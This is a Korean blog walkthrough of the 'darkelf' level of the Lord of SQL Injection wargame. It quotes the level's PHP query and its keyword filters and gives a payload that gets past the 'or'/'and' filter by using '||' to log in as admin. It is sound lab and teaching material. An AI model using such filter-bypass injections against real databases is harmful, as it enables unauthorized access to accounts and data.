Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
Tags
- sql injection
- blind sql injection
- 과제
- CTF
- Los
- sql injection point
- php
- lord of sql injection
- cookie 탈취
- XSS
- file upload
- 게시판 만들기
- Cross Site Request Forgery
- 세션
- Error based sql injection
- Reflected Xss
- csrf
- union sql injection
- cors
- 쿠키
- MySQL
- lord of sqli
- 모의해킹
- css
- 로그인
- 로그인페이지
- 웹개발
- JS
- JWT
- Python
Archives
- Today
- Total
Almon Dev
[Lord of SQL Injection] darkelf 풀이 본문
LOS 풀이
darkelf
풀이
1. 코드 분석
GET 메서드의 pw 파라미터가 쿼리에 삽입이 되고 쿼리 결과의 id가 admin인 경우 문제가 풀립니다.
$query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("darkelf");
or과 and를 필터링합니다.
mysql에서는 or과 and를 대체할 ||나 &&를 이용하면 우회할 수 있습니다.
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
2. 쿼리 삽입
or을 ||로 대체한 것 외에는 차이점이 없습니다.
select id from prob_darkelf where id='guest' and pw='' || id='admin'
'모의해킹 > Lord of SQLi' 카테고리의 다른 글
[Lord of SQL Injection] troll 풀이 (1) | 2025.01.06 |
---|---|
[Lord of SQL Injection] orge 풀이 (0) | 2025.01.06 |
[Lord of SQL Injection] wolfman 풀이 (0) | 2025.01.06 |
[Lord of SQL Injection] orc 풀이 (0) | 2025.01.06 |
[Lord of SQL Injection] goblin 풀이 (0) | 2025.01.06 |